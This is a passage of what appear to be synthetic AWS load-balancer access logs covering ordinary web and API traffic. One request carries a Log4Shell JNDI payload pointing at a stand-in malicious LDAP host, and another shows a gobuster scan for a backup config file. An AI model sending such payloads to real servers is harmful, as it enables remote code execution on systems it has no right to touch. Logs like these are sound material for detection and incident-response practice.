Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdcc-224b45f674424075b99d20e6" "prod-api-alb.example.com" "-" 8 2024-11-01T01:34:52.815210Z "forward" "-" "-" "10.0.176.72:443" "200" "-" "-" +https 2024-11-01T01:34:54.742356Z staging-alb 79.108.55.229:36808 135.231.60.56:8080 0.020871 0.024434 0.046878 200 200 455 11843 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdce-01f32e07d908406d85e4fdc6" "staging-alb.example.com" "-" 0 2024-11-01T01:34:54.742356Z "forward" "-" "-" "135.231.60.56:8080" "200" "-" "-" +https 2024-11-01T01:34:55.750616Z prod-web-alb 227.202.102.32:27096 10.0.81.251:443 0.077505 0.445063 0.004915 200 200 149 1130 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdcf-6200cb61061d4f618d977cab" "prod-web-alb.example.com" "-" 5 2024-11-01T01:34:55.750616Z "forward" "-" "-" "10.0.81.251:443" "200" "-" "-" +https 2024-11-01T01:34:57.410281Z prod-web-alb 176.177.216.200:43965 10.0.218.75:443 0.076323 0.165731 0.067265 404 404 920 11099 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd1-09ceec5c330f4921a8386fc9" "prod-web-alb.example.com" "-" 7 2024-11-01T01:34:57.410281Z "forward" "-" "-" "10.0.218.75:443" "404" "-" "-" +https 2024-11-01T01:34:58.830353Z prod-web-alb 65.84.199.124:45155 10.0.5.60:443 0.072170 0.018646 0.041322 200 200 501 11614 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd2-1510e0374c224b31890a4c67" "prod-web-alb.example.com" "-" 0 2024-11-01T01:34:58.830353Z "forward" "-" "-" "10.0.5.60:443" "200" "-" "-" +https 2024-11-01T01:35:00.763939Z staging-alb 75.174.211.163:27731 137.83.43.24:443 0.140488 0.371730 0.073464 200 200 216 13082 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdd4-4af20d05b21d400c9a120251" "staging-alb.example.com" "-" 4 2024-11-01T01:35:00.763939Z "forward" "-" "-" "137.83.43.24:443" "200" "-" "-" +https 2024-11-01T01:35:01.211634Z prod-web-alb 6.188.163.57:56350 10.0.203.168:443 0.067030 0.488594 0.088616 301 301 141 4493 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdd5-458166b5a8984984b59ac9ab" "prod-web-alb.example.com" "-" 4 2024-11-01T01:35:01.211634Z "forward" "-" "-" "10.0.203.168:443" "301" "-" "-" +https 2024-11-01T01:35:02.849573Z prod-api-alb 194.232.107.178:52588 10.0.59.91:443 0.027688 0.421775 0.091116 200 200 313 8926 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdd6-b2ce3c4073af40d08de2a8be" "-" "-" 10 2024-11-01T01:35:02.849573Z "forward" "-" "-" "10.0.59.91:443" "200" "-" "-" +https 2024-11-01T01:35:03.895890Z prod-web-alb 193.27.228.48:41007 10.0.99.158:443 0.009039 0.099773 0.082934 403 403 183 3212 "GET /config.php~ HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd7-90a1d01f8c2b4e4f8d91841d" "-" "-" 10 2024-11-01T01:35:03.895890Z "forward" "-" "-" "10.0.99.158:443" "403" "-" "-" +https 2024-11-01T01:35:05.850694Z prod-web-alb 96.245.48.136:48874 10.0.255.110:443 0.059337 0.084558 0.079529 302 302 150 4894 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdd9-582e4ae5b6414ea6a0be1c0d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:35:05.850694Z "forward" "-" "-" "10.0.255.110:443" "302" "-" "-" +https 2024-11-01T01:35:07.050162Z staging-alb 177.167.236.40:59190 216.58.13.110:8080 0.044255 0.106355 0.053853 404 404 802 1085 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cddb-2c783bef6b704026aac0dd2e" "staging-alb.example.com" "-" 6 2024-11-01T01:35:07.050162Z "forward" "-" "-" "216.58.13.110:8080" "404" "-" "-" +http 2024-11-01T01:35:08.036508Z staging-alb 56.67.88.172:11436 201.199.231.125:8080 0.019388 0.544053 0.142270 302 302 682 5010 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cddc-0ec5851a365e4d10be0511f7" "staging-alb.example.com" "-" 3 2024-11-01T01:35:08.036508Z "forward" "-" "-" "201.199.231.125:8080" "302" "-" "-" +https 2024-11-01T01:35:09.548635Z staging-alb 190.64.172.92:23177 82.66.92.10:8080 0.046010 0.584846 0.092501 404 404 428 14013 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cddd-562065e69a644f4798a6ccdb" "staging-alb.example.com" "-" 5 2024-11-01T01:35:09.548635Z "forward" "-" "-" "82.66.92.10:8080" "404" "-" "-" +https 2024-11-01T01:35:10.466523Z prod-web-alb 15.249.50.230:27447 10.0.200.166:443 0.000891 0.205469 0.086668 200 200 409 8278 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdde-2d9ad601c1a643039bb02caa" "prod-web-alb.example.com" "-" 3 2024-11-01T01:35:10.466523Z "forward" "-" "-" "10.0.200.166:443" "200" "-" "-" +https 2024-11-01T01:35:10.735449Z staging-alb 14.209.174.246:59866 106.250.93.124:443 0.052334 0.208116 0.147196 404 404 8 5642 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdde-535d85ee0d5b48678bfe1a09" "staging-alb.example.com" "-" 4 2024-11-01T01:35:10.735449Z "forward" "-" "-" "106.250.93.124:443" "404" "-" "-" +https 2024-11-01T01:35:10.910289Z prod-api-alb 223.216.35.185:52060 10.0.173.174:443 0.076895 0.073930 0.086959 200 200 906 7840 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdde-38a46848470441239a721ef1" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:10.910289Z "forward" "-" "-" "10.0.173.174:443" "200" "-" "-" +http 2024-11-01T01:35:12.223614Z staging-alb 25.110.140.177:46495 97.48.179.24:443 0.122551 0.181331 0.018565 301 301 866 4855 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cde0-37ce7ce393d345c297c2ebeb" "staging-alb.example.com" "-" 7 2024-11-01T01:35:12.223614Z "forward" "-" "-" "97.48.179.24:443" "301" "-" "-" +https 2024-11-01T01:35:14.147013Z prod-api-alb 184.252.183.239:21459 10.0.111.171:443 0.069837 0.127089 0.003209 301 301 160 717 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde2-e799100ea786472bb97d098a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:35:14.147013Z "forward" "-" "-" "10.0.111.171:443" "301" "-" "-" +https 2024-11-01T01:35:14.807609Z prod-api-alb 227.217.34.235:63331 10.0.212.99:443 0.057551 0.298033 0.045193 200 200 63 7845 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde2-c5f5acfd3c4c4d9aa180018f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:14.807609Z "forward" "-" "-" "10.0.212.99:443" "200" "-" "-" +https 2024-11-01T01:35:15.838981Z prod-api-alb 216.177.63.110:29815 10.0.50.176:443 0.002907 0.453040 0.007393 301 301 582 5527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde3-6882e50ded64474195a5389b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:35:15.838981Z "forward" "-" "-" "10.0.50.176:443" "301" "-" "-" +https 2024-11-01T01:35:16.624960Z prod-api-alb 156.86.58.112:54443 10.0.38.48:443 0.046191 0.297579 0.099822 200 200 342 3747 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde4-6aa2c8975e4446aca293101c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:16.624960Z "forward" "-" "-" "10.0.38.48:443" "200" "-" "-" +https 2024-11-01T01:35:18.352714Z prod-api-alb 151.113.118.174:31797 10.0.171.80:443 0.070063 0.288653 0.099467 301 301 185 14834 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cde6-9a741ce7f43d486fabb2c00f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:35:18.352714Z "forward" "-" "-" "10.0.171.80:443" "301" "-" "-" +https 2024-11-01T01:35:19.369913Z prod-web-alb 230.87.191.179:16567 10.0.2.23:443 0.070605 0.323591 0.061673 200 200 217 14806 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cde7-3c135ea19db74afbaf91270b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:35:19.369913Z "forward" "-" "-" "10.0.2.23:443" "200" "-" "-" +https 2024-11-01T01:35:20.236382Z prod-api-alb 170.3.100.94:18148 10.0.101.201:443 0.057307 0.174151 0.061273 200 200 214 1956 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cde8-46d372f4fec14b169b3a57a2" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:20.236382Z "forward" "-" "-" "10.0.101.201:443" "200" "-" "-" +https 2024-11-01T01:35:21.909660Z staging-alb 71.94.104.62:49170 43.223.134.88:8080 0.143773 0.203848 0.110347 301 301 310 6586 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cde9-6ae5cf5ffd664249ae521e22" "staging-alb.example.com" "-" 8 2024-11-01T01:35:21.909660Z "forward" "-" "-" "43.223.134.88:8080" "301" "-" "-" +https 2024-11-01T01:35:22.796007Z prod-web-alb 247.32.45.189:44766 10.0.96.249:443 0.001645 0.275098 0.076208 200 200 716 8922 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdea-82757b47caa64725a4158c33" "prod-web-alb.example.com" "-" 7 2024-11-01T01:35:22.796007Z "forward" "-" "-" "10.0.96.249:443" "200" "-" "-" +http 2024-11-01T01:35:23.534764Z staging-alb 141.251.236.75:24453 237.195.42.39:8080 0.103143 0.220601 0.058552 200 200 676 14784 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdeb-a2940f82f1e3491281436637" "staging-alb.example.com" "-" 9 2024-11-01T01:35:23.534764Z "forward" "-" "-" "237.195.42.39:8080" "200" "-" "-" +https 2024-11-01T01:35:24.746551Z prod-web-alb 167.4.204.35:18052 10.0.170.111:443 0.035065 0.164624 0.037872 301 301 611 9318 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdec-6d5b0ebcc3b9498f8ab1dcd9" "prod-web-alb.example.com" "-" 0 2024-11-01T01:35:24.746551Z "forward" "-" "-" "10.0.170.111:443" "301" "-" "-" +https 2024-11-01T01:35:26.102043Z prod-api-alb 148.64.200.162:48430 10.0.201.213:443 0.021154 0.125404 0.035233 200 200 125 12124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdee-6b702e01c7bc4126b4abeb07" "prod-api-alb.example.com" "-" 7 2024-11-01T01:35:26.102043Z "forward" "-" "-" "10.0.201.213:443" "200" "-" "-" +http 2024-11-01T01:35:27.431741Z staging-alb 2.167.172.60:24011 228.77.91.208:8080 0.063313 0.259797 0.061841 404 404 441 9300 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdef-766aea3bbddc429495404cd9" "staging-alb.example.com" "-" 5 2024-11-01T01:35:27.431741Z "forward" "-" "-" "228.77.91.208:8080" "404" "-" "-" +https 2024-11-01T01:35:28.004759Z staging-alb 45.155.205.243:47138 175.101.239.166:443 0.025240 0.232649 0.067597 500 500 871 8571 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf0-8706a42b7e9f4d049fd70052" "-" "-" 7 2024-11-01T01:35:28.004759Z "forward" "-" "-" "175.101.239.166:443" "500" "-" "-" +https 2024-11-01T01:35:29.544869Z prod-api-alb 16.189.93.117:39121 10.0.15.235:443 0.044608 0.343805 0.080729 200 200 525 5333 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf1-e30b654d789d41b0b9a4dfcd" "prod-api-alb.example.com" "-" 6 2024-11-01T01:35:29.544869Z "forward" "-" "-" "10.0.15.235:443" "200" "-" "-" +http 2024-11-01T01:35:30.647817Z staging-alb 50.6.171.46:22979 252.102.133.175:443 0.050461 0.045741 0.061307 301 301 997 14015 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf2-8d0dac5c9093408ea3b8d005" "-" "-" 2 2024-11-01T01:35:30.647817Z "forward" "-" "-" "252.102.133.175:443" "301" "-" "-" +https 2024-11-01T01:35:30.855194Z staging-alb 94.123.240.142:47860 17.192.162.27:443 0.089714 0.092355 0.025860 200 200 954 12261 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdf2-3d46a2d8bf1f40068669b417" "staging-alb.example.com" "-" 0 2024-11-01T01:35:30.855194Z "forward" "-" "-" "17.192.162.27:443" "200" "-" "-" +https 2024-11-01T01:35:32.287752Z staging-alb 128.59.82.161:31953 167.142.20.32:443 0.019927 0.349770 0.021387 301 301 783 13735 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdf4-a2a8c0e1e22445deb7e043a6" "staging-alb.example.com" "-" 2 2024-11-01T01:35:32.287752Z "forward" "-" "-" "167.142.20.32:443" "301" "-" "-" +https 2024-11-01T01:35:33.077238Z prod-web-alb 186.69.94.209:24777 10.0.104.15:443 0.036227 0.294113 0.026400 200 200 906 3741 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdf5-cb56a7a6d9b1460eaf8bd960" "prod-web-alb.example.com" "-" 8 2024-11-01T01:35:33.077238Z "forward" "-" "-" "10.0.104.15:443" "200" "-" "-" +https 2024-11-01T01:35:34.482764Z prod-api-alb 52.246.209.190:48817 10.0.139.63:443 0.072454 0.011387 0.025540 302 302 209 1639 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf6-7bfc13a83faf4877bda05002" "prod-api-alb.example.com" "-" 1 2024-11-01T01:35:34.482764Z "forward" "-" "-" "10.0.139.63:443" "302" "-" "-" +https 2024-11-01T01:35:34.984920Z prod-web-alb 134.31.106.81:41631 10.0.156.234:443 0.027799 0.413475 0.047909 200 200 428 6374 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdf6-74022dd3e4dd4a0f8c88c94d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:35:34.984920Z "forward" "-" "-" "10.0.156.234:443" "200" "-" "-" +http 2024-11-01T01:35:36.916159Z staging-alb 151.19.211.137:49283 67.131.105.16:80 0.123882 0.376007 0.003189 301 301 858 4871 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdf8-5ad2122ec44848dfa55be0a4" "staging-alb.example.com" "-" 10 2024-11-01T01:35:36.916159Z "forward" "-" "-" "67.131.105.16:80" "301" "-" "-" +https 2024-11-01T01:35:37.078187Z prod-web-alb 159.12.221.252:47908 10.0.59.253:443 0.010047 0.351764 0.052533 200 200 362 11890 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdf9-857129e93cd84a09b26656b3" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:37.078187Z "forward" "-" "-" "10.0.59.253:443" "200" "-" "-" +https 2024-11-01T01:35:37.727747Z prod-api-alb 200.107.45.104:33518 10.0.87.22:443 0.060688 0.082622 0.031560 200 200 232 14546 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdf9-c20babd96bb549dfb24fde79" "prod-api-alb.example.com" "-" 3 2024-11-01T01:35:37.727747Z "forward" "-" "-" "10.0.87.22:443" "200" "-" "-" +https 2024-11-01T01:35:38.493910Z prod-web-alb 251.43.201.7:44795 10.0.229.248:443 0.027299 0.019224 0.024848 301 301 358 12486 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdfa-a1a9654913df42bb9be3dd21" "prod-web-alb.example.com" "-" 5 2024-11-01T01:35:38.493910Z "forward" "-" "-" "10.0.229.248:443" "301" "-" "-" +https 2024-11-01T01:35:40.265988Z prod-web-alb 240.88.243.211:37188 10.0.4.48:443 0.007946 0.023500 0.055184 200 200 793 7415 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdfc-6c389d7288664524aa656393" "prod-web-alb.example.com" "-" 8 2024-11-01T01:35:40.265988Z "forward" "-" "-" "10.0.4.48:443" "200" "-" "-" +https 2024-11-01T01:35:41.006134Z staging-alb 75.55.10.115:57020 154.33.1.109:80 0.086597 0.547376 0.011254 200 200 662 3521 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdfd-2f70fca87c824ac4b197fa18" "staging-alb.example.com" "-" 8 2024-11-01T01:35:41.006134Z "forward" "-" "-" "154.33.1.109:80" "200" "-" "-" +https 2024-11-01T01:35:42.752822Z prod-api-alb 197.29.99.80:46478 10.0.187.153:443 0.074838 0.420849 0.020152 200 200 900 13609 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdfe-ccd7097b5d8c40fd81610dbf" "prod-api-alb.example.com" "-" 4 2024-11-01T01:35:42.752822Z "forward" "-" "-" "10.0.187.153:443" "200" "-" "-" +http 2024-11-01T01:35:43.935259Z staging-alb 192.169.44.18:43848 220.249.125.199:443 0.084043 0.387830 0.074042 200 200 612 8460 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdff-3859946fe083489b8fc04710" "staging-alb.example.com" "-" 1 2024-11-01T01:35:43.935259Z "forward" "-" "-" "220.249.125.199:443" "200" "-" "-" +https 2024-11-01T01:35:45.737218Z prod-api-alb 114.129.11.18:63926 10.0.144.28:443 0.083452 0.159019 0.068263 200 200 335 7658 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ce01-7fa258d2c6d945818a5cf4a2" "prod-api-alb.example.com" "-" 10 2024-11-01T01:35:45.737218Z "forward" "-" "-" "10.0.144.28:443" "200" "-" "-" +https 2024-11-01T01:35:45.950449Z prod-api-alb 147.143.239.152:27118 10.0.250.252:443 